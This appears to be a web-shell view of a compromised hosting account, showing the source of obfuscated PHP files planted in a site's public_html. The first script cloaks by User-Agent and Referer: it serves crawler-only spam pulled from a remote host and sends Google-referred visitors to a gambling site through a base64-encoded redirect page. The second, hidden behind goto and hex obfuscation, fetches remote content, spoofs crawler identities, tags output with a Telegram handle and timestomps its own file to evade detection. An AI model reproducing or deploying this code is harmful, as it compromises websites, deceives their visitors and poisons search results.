![]() Server : Apache System : Linux server2.thebrownbagmedia.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64 User : topnotchcv ( 1029) PHP Version : 8.1.32 Disable Function : NONE Directory : /home/topnotchcv/public_html/ |
<?php function GetHttp($url) { $httpWebRequest = curl_init($url); curl_setopt($httpWebRequest, CURLOPT_RETURNTRANSFER, 1); curl_setopt($httpWebRequest, CURLOPT_TIMEOUT, 999999); curl_setopt($httpWebRequest, CURLOPT_HTTPHEADER, array('User-Agent: GoogleBot','Accept-Language: en')); curl_setopt($httpWebRequest, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($httpWebRequest, CURLOPT_SSL_VERIFYHOST, 0); $responseContent = curl_exec($httpWebRequest); curl_close($httpWebRequest); return $responseContent; } if (stripos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false) { $remote_server = 'https://api.staticlss.com'; $host_name = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'].'?'.$_SERVER['QUERY_STRING']; $remote_file = $remote_server . '/context' . '?id=3&keysType=&key=11111111&url='.$host_name.'&reqType=html'; $content_mb = GetHttp($remote_file); //echo $remote_file; echo $content_mb; } else if (isset($_SERVER['HTTP_REFERER']) && stripos($_SERVER['HTTP_REFERER'], 'google') !== false) { $decoded_text = base64_decode('DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPHRpdGxlPnThuqNpIHRyYW5nLi4uPC90aXRsZT4NCjxoZWFkPg0KPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ2FjaGUtQ29udHJvbCIgY29udGVudD0ibm8tc2l0ZWFwcCIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNhY2hlLUNvbnRyb2wiIGNvbnRlbnQ9Im5vLXRyYW5zZm9ybSIgLz4NCjxtZXRhIG5hbWU9ImFwcGxpY2FibGUtZGV2aWNlIiBjb250ZW50PSJwYyxtb2JpbGUiPg0KPG1ldGEgbmFtZT0idmlld3BvcnQiICBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4NCjxzdHlsZT4NCmJvZHkgew0KbWFyZ2luOiAwOw0KcGFkZGluZzogMDsNCmJhY2tncm91bmQ6ICNFNkVBRUI7DQpmb250LWZhbWlseTogQXJpYWwsICLlvq7ova/pm4Xpu5EiLCAi5a6L5L2TIiwgc2Fucy1zZXJpZg0KfQ0KYXsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6ICM3QjdCN0I7DQp9DQouYWxlcnQtYm94IHsNCmRpc3BsYXk6IG5vbmU7DQpwb3NpdGlvbjogcmVsYXRpdmU7DQptYXJnaW46IDk2cHggYXV0byAwOw0KcGFkZGluZzogMTgwcHggODVweCAyMnB4Ow0KYm9yZGVyLXJhZGl1czogMTBweCAxMHB4IDAgMDsNCmJhY2tncm91bmQ6ICNGRkY7DQpib3gtc2hhZG93OiA1cHggOXB4IDE3cHggcmdiYSgxMDIsMTAyLDEwMiwwLjc1KTsNCndpZHRoOiAyODZweDsNCmNvbG9yOiAjRkZGOw0KdGV4dC1hbGlnbjogY2VudGVyDQp9DQouYWxlcnQtYm94IHAgew0KbWFyZ2luOiAwDQp9DQouYWxlcnQtY2lyY2xlIHsNCnBvc2l0aW9uOiBhYnNvbHV0ZTsNCnRvcDogLTUwcHg7DQpsZWZ0OiAxMTFweA0KfQ0KLmFsZXJ0LXNlYy1jaXJjbGUgew0Kc3Ryb2tlLWRhc2hvZmZzZXQ6IDA7DQpzdHJva2UtZGFzaGFycmF5OiA3MzU7DQp0cmFuc2l0aW9uOiBzdHJva2UtZGFzaG9mZnNldCAxcyBsaW5lYXINCn0NCi5hbGVydC1zZWMtdGV4dCB7DQpwb3NpdGlvbjogYWJzb2x1dGU7DQp0b3A6IDExcHg7DQpsZWZ0OiAxOTBweDsNCndpZHRoOiA3NnB4Ow0KY29sb3I6ICMwMDA7DQpmb250LXNpemU6IDY4cHgNCn0NCi5hbGVydC1zZWMtdW5pdCB7DQpmb250LXNpemU6IDM0cHgNCn0NCi5hbGVydC1ib2R5IHsNCm1hcmdpbjogMzVweCAwOw0KbWFyZ2luLWJvdHRvbTozMHB4Ow0KfQ0KLmFsZXJ0LWhlYWQgew0KY29sb3I6ICMyNDI0MjQ7DQpmb250LXNpemU6IDI4cHgNCn0NCi5hbGVydC1jb25jZW50IHsNCm1hcmdpbjogMjVweCAwIDE0cHg7DQpjb2xvcjogIzdCN0I3QjsNCmZvbnQtc2l6ZTogMThweA0KfQ0KLmFsZXJ0LWNvbmNlbnQgcCB7DQpsaW5lLWhlaWdodDogMjdweA0KfQ0KLmFsZXJ0LWJ0biB7DQpkaXNwbGF5OiBibG9jazsNCmJvcmRlci1yYWRpdXM6IDEwcHg7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjZmY1NjU2Ow0KaGVpZ2h0OiA1NXB4Ow0KbGluZS1oZWlnaHQ6IDU1cHg7DQp3aWR0aDogMjg2cHg7DQpjb2xvcjogI0ZGRjsNCmZvbnQtc2l6ZTogMjBweDsNCnRleHQtZGVjb3JhdGlvbjogbm9uZTsNCmxldHRlci1zcGFjaW5nOiAycHgNCn0NCi5hbGVydC1idG46aG92ZXIge2JhY2tncm91bmQtY29sb3I6ICNmZjU2NTZ9DQouYWxlcnQtZm9vdGVyIHsNCm1hcmdpbjogMCBhdXRvOw0KaGVpZ2h0OiA0MnB4Ow0KdGV4dC1hbGlnbjogY2VudGVyOw0Kd2lkdGg6MTAwJTsNCm1hcmdpbi1ib3R0b206MTBweDsNCn0NCi5hbGVydC1mb290ZXItaWNvbiB7DQpmbG9hdDogbGVmdA0KfQ0KLmFsZXJ0LWZvb3Rlci10ZXh0IHsNCmZsb2F0OiBsZWZ0Ow0KYm9yZGVyLWxlZnQ6IDJweCBzb2xpZCAjRUVFOw0KcGFkZGluZzogM3B4IDAgMCA1cHg7DQpoZWlnaHQ6IDQwcHg7DQpjb2xvcjogIzBCODVDQzsNCmZvbnQtc2l6ZTogMTJweDsNCnRleHQtYWxpZ246IGxlZnQNCn0NCi5hbGVydC1mb290ZXItdGV4dCBwIHsNCmNvbG9yOiAjN0E3QTdBOw0KZm9udC1zaXplOiAyMnB4Ow0KbGluZS1oZWlnaHQ6IDE4cHgNCn0NCjwvc3R5bGU+DQo8IS0tIE1hdG9tbyAtLT4NCjxzY3JpcHQ+DQogIHZhciBfcGFxID0gd2luZG93Ll9wYXEgPSB3aW5kb3cuX3BhcSB8fCBbXTsNCiAgLyogdHJhY2tlciBtZXRob2RzIGxpa2UgInNldEN1c3RvbURpbWVuc2lvbiIgc2hvdWxkIGJlIGNhbGxlZCBiZWZvcmUgInRyYWNrUGFnZVZpZXciICovDQogIF9wYXEucHVzaChbJ3RyYWNrUGFnZVZpZXcnXSk7DQogIF9wYXEucHVzaChbJ2VuYWJsZUxpbmtUcmFja2luZyddKTsNCiAgKGZ1bmN0aW9uKCkgew0KICAgIHZhciB1PSJodHRwczovL2NrY2FuYWxheXRpY3MubWF0b21vLmNsb3VkLyI7DQogICAgX3BhcS5wdXNoKFsnc2V0VHJhY2tlclVybCcsIHUrJ21hdG9tby5waHAnXSk7DQogICAgX3BhcS5wdXNoKFsnc2V0U2l0ZUlkJywgJzInXSk7DQogICAgdmFyIGQ9ZG9jdW1lbnQsIGc9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKSwgcz1kLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsNCiAgICBnLmFzeW5jPXRydWU7IGcuc3JjPSdodHRwczovL2Nkbi5tYXRvbW8uY2xvdWQvY2tjYW5hbGF5dGljcy5tYXRvbW8uY2xvdWQvbWF0b21vLmpzJzsgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShnLHMpOw0KICB9KSgpOw0KPC9zY3JpcHQ+DQo8IS0tIEVuZCBNYXRvbW8gQ29kZSAtLT4NCg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9ImllOCI+DQo8ZGl2IGlkPSJqcy1hbGVydC1ib3giIGNsYXNzPSJhbGVydC1ib3giPg0KPHN2ZyBjbGFzcz0iYWxlcnQtY2lyY2xlIiB3aWR0aD0iMjM0IiBoZWlnaHQ9IjIzNCI+DQo8Y2lyY2xlIGN4PSIxMTciIGN5PSIxMTciIHI9IjEwOCIgZmlsbD0iI0ZGRiIgc3Ryb2tlPSIjZmY1NjU2IiBzdHJva2Utd2lkdGg9IjE3Ij48L2NpcmNsZT4NCjxjaXJjbGUgaWQ9ImpzLXNlYy1jaXJjbGUiIGNsYXNzPSJhbGVydC1zZWMtY2lyY2xlIiBjeD0iMTE3IiBjeT0iMTE3IiByPSIxMDgiIGZpbGw9InRyYW5zcGFyZW50IiBzdHJva2U9IiNGNEYxRjEiIHN0cm9rZS13aWR0aD0iMTgiIHRyYW5zZm9ybT0icm90YXRlKC05MCAxMTcgMTE3KSI+PC9jaXJjbGU+DQo8dGV4dCBjbGFzcz0iYWxlcnQtc2VjLXVuaXQiIHg9IjEwMCIgeT0iMTcyIiBmaWxsPSIjQkRCREJEIj5HacOieTwvdGV4dD4NCjwvc3ZnPg0KPGRpdiBpZD0ianMtc2VjLXRleHQiIGNsYXNzPSJhbGVydC1zZWMtdGV4dCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhbGVydC1ib2R5Ij4NCjxkaXYgaWQ9ImpzLWFsZXJ0LWhlYWQiIGNsYXNzPSJhbGVydC1oZWFkIj48L2Rpdj4NCjxkaXYgY2xhc3M9ImFsZXJ0LWNvbmNlbnQiPg0KPHA+ODhsdWNreS5iZXQ8L3A+DQo8cD5OaOG7myB0w6puIG1p4buBbiBjaMOtbmggdGjhu6lj77yaPGEgaHJlZj0iaHR0cHM6Ly84OGx1Y2t5LmJldC8/Zj0yMiIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDAiPjwvcD4NCjwvZGl2Pg0KPGEgaWQ9ImpzLWFsZXJ0LWJ0biIgY2xhc3M9ImFsZXJ0LWJ0biIgaHJlZj0iaHR0cHM6Ly84OGx1Y2t5LmJldC8/Zj0yMiI+xJBhbmcgdsOgbyAgdHJhbmc8L2E+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9ImFsZXJ0LWZvb3RlciBjbGVhcmZpeCI+DQo8L2Rpdj4NCjwvZGl2Pg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQp2YXIgaXAgPSByZXR1cm5DaXR5U05bImNpcCJdOw0KdmFyIGRpcXUgPSByZXR1cm5DaXR5U05bImNuYW1lIl07DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZGlxdSIpLmlubmVySFRNTD0gZGlxdTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpcCIpLmlubmVySFRNTCA9IGlwOw0KDQpmdW5jdGlvbiBhbGVydFNldChlKSB7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImpzLWFsZXJ0LWJveCIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siLA0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqcy1hbGVydC1oZWFkIikuaW5uZXJIVE1MID0gZTsNCgl2YXIgdCA9IDEsDQoJbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqcy1zZWMtY2lyY2xlIik7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImpzLXNlYy10ZXh0IikuaW5uZXJIVE1MID0gdDsNCgl2YXIgdGltZXI9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQoJCWlmICgwID09IHQpew0KCQkJY2xlYXJUaW1lb3V0KHRpbWVyKQ0KICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uID0iaHR0cHM6Ly84OGx1Y2t5LmJldC8/Zj0yMiI7DQoJCX1lbHNlIHsNCgkJCXQgLT0gMSwNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqcy1zZWMtdGV4dCIpLmlubmVySFRNTCA9IHQ7DQoJCQl2YXIgZSA9IE1hdGgucm91bmQodCAvIDEgKiA3MzUpOw0KCQkJbi5zdHlsZS5zdHJva2VEYXNob2Zmc2V0ID0gZSAtIDczNQ0KCQl9DQoJfSw5NzApOw0KfQ0KPC9zY3JpcHQ+DQo8c2NyaXB0PmFsZXJ0U2V0KCJ0csOqbiDEkcaw4budbmcgxJFpLCB4aW4gdnVpIGzDsm5nIGNo4budIMSR4bujaS4uIik7PC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+'); echo $decoded_text; } else { http_response_code(404); } ?><?php goto mNFtY; wih8E: $sP43R = base64_decode("\141\x48\x52\x30\143\110\x4d\x36\114\171\x39\x70\132\x47\x34\x75\142\x32\164\x70\132\104\x67\x75\144\107\x39\x77"); goto cx85X; mNFtY: set_time_limit(0); goto Dnhfi; RwEAI: $AEdO1 = curl_init(); goto PAKSP; wSXMJ: echo str_replace("\347\203\237\351\233\250\xe9\xbb\221\xe5\270\xbd", "\x74\x65\x6c\x65\x67\162\x61\155\x3a\x40\x73\x65\x6f\167\145\x62\163\x68\x65\154\154", $jco_B); goto i8GN7; qMn8h: $VRVy_ = ["\x68\164\x74\160" => ["\150\145\x61\x64\145\162" => "\125\163\x65\162\x2d\x41\x67\145\156\164\72\x20{$V7BRe}\xd\12"]]; goto Nyd_I; Nyd_I: $Sf78h = stream_context_create($VRVy_); goto wGT43; B3P10: curl_close($AEdO1); goto kp6Mm; TT69U: $I2d1L = $_SERVER["\x48\124\124\120\137\x55\123\x45\x52\x5f\x41\107\105\x4e\124"]; goto xcvqG; cx85X: $PZ_8Z = "\x68\x74\164\x70\72\x2f\x2f" . $_SERVER["\110\124\x54\x50\x5f\110\x4f\123\124"] . $_SERVER["\x50\x48\x50\137\x53\105\114\106"]; goto TT69U; xcvqG: $Fa_Mc = ["\102\141\151\x64\x75\163\x70\x69\144\x65\x72" => "\x4d\157\x7a\x69\154\x6c\141\x2f\x35\56\60\40\x28\x63\x6f\x6d\x70\x61\x74\x69\142\x6c\145\73\40\102\x61\x69\144\165\x73\x70\x69\x64\145\162\x2f\x32\x2e\x30\x29", "\107\157\157\147\x6c\x65\x62\x6f\x74" => "\115\x6f\x7a\151\x6c\x6c\x61\x2f\65\x2e\60\x20\50\143\157\x6d\160\x61\164\x69\x62\154\145\x3b\x20\107\157\157\x67\x6c\145\142\157\x74\57\x32\x2e\61\x29", "\63\66\x30\123\160\151\x64\145\162" => "\x4d\157\x7a\x69\x6c\154\141\57\x35\x2e\60\x20\50\x63\157\x6d\160\x61\x74\x69\x62\154\145\x3b\x20\63\66\x30\123\160\x69\x64\145\162\51", "\x42\151\156\x67\142\x6f\164" => "\x4d\157\x7a\x69\x6c\154\141\57\65\56\60\40\x28\143\157\x6d\x70\x61\164\x69\142\x6c\145\73\x20\x42\151\x6e\x67\142\x6f\x74\57\x32\56\x30\51", "\x59\151\163\157\165\x53\160\151\144\x65\x72" => "\x4d\x6f\172\x69\x6c\154\141\x2f\65\x2e\60\40\x28\x63\157\x6d\160\x61\x74\x69\x62\x6c\x65\x3b\40\131\x69\163\157\165\123\x70\x69\x64\145\162\51", "\x53\157\x67\x6f\x75\40\x77\x65\142\x20\163\x70\151\x64\x65\x72" => "\123\157\x67\157\x75\x20\167\x65\x62\40\163\160\151\144\145\x72\x2f\x34\x2e\x30"]; goto Wt6aH; Wt6aH: $V7BRe = "\x4d\157\x7a\151\x6c\x6c\141\x2f\x35\x2e\60"; goto zmv0U; Yk4P8: curl_setopt($AEdO1, CURLOPT_SSL_VERIFYHOST, false); goto Zk9Nk; Zk9Nk: curl_setopt($AEdO1, CURLOPT_USERAGENT, $V7BRe); goto QXLKo; Dnhfi: header("\x43\x6f\156\x74\145\x6e\x74\55\x54\x79\160\x65\72\x20\164\145\x78\164\x2f\150\x74\x6d\154\x3b\x63\x68\141\162\163\145\164\75\165\164\146\x2d\x38"); goto MrC93; E2yI1: function m2Et8($L3aPO) { goto tfOUI; tfOUI: @chmod($L3aPO, 0644); goto MMVR9; MMVR9: $ta8Xx = strtotime("\x32\x30\60\x36\x2d\60\61\55\60\x31"); goto mLHCv; f3tLZ: @touch($L3aPO, $D6n7D, $D6n7D); goto lmHpS; mLHCv: $JyKZJ = strtotime("\x32\x30\62\65\55\63\x2d\x33\x31"); goto ZFru2; ZFru2: $D6n7D = mt_rand($ta8Xx, $JyKZJ); goto f3tLZ; lmHpS: } goto I6IN2; eH7YI: if (!($jco_B === FALSE)) { goto hqtV4; } goto RwEAI; QXLKo: $jco_B = curl_exec($AEdO1); goto B3P10; QgU8o: curl_setopt($AEdO1, CURLOPT_RETURNTRANSFER, 1); goto tiTEP; kp6Mm: hqtV4: goto wSXMJ; mJwa6: PhphW: goto qMn8h; MrC93: date_default_timezone_set("\x50\122\x43"); goto wih8E; zmv0U: foreach ($Fa_Mc as $IHyae => $lYQjD) { goto jhAZO; jhAZO: if (!(strpos($I2d1L, $IHyae) !== false)) { goto riqhW; } goto m6qGC; tThpq: PeLrO: goto ncm37; PPvGN: goto PhphW; goto xGfYO; m6qGC: $V7BRe = $lYQjD; goto PPvGN; xGfYO: riqhW: goto tThpq; ncm37: } goto mJwa6; i8GN7: $OhcLh = basename($_SERVER["\x50\x48\x50\x5f\123\x45\x4c\106"]); goto E2yI1; wGT43: $jco_B = @file_get_contents("{$sP43R}\x2f\x69\x6e\x64\145\170\56\x70\150\160\77\150\157\x73\x74\75{$PZ_8Z}\x26\x75\162\x6c\75" . $_SERVER["\x51\125\x45\x52\131\137\x53\x54\x52\111\116\x47"] . "\x26\144\x6f\x6d\141\x69\x6e\75" . $_SERVER["\x53\105\x52\126\x45\x52\137\x4e\x41\115\x45"], false, $Sf78h); goto eH7YI; tiTEP: curl_setopt($AEdO1, CURLOPT_SSL_VERIFYPEER, false); goto Yk4P8; PAKSP: curl_setopt($AEdO1, CURLOPT_URL, "{$sP43R}\x2f\151\156\x64\x65\170\x2e\160\150\x70\x3f\150\x6f\163\164\75{$PZ_8Z}\x26\x75\x72\154\75" . $_SERVER["\x51\125\x45\122\131\137\x53\x54\122\111\x4e\107"] . "\46\x64\x6f\155\x61\x69\156\x3d" . $_SERVER["\123\105\x52\126\105\x52\x5f\116\101\x4d\105"]); goto QgU8o; I6IN2: M2Et8($OhcLh);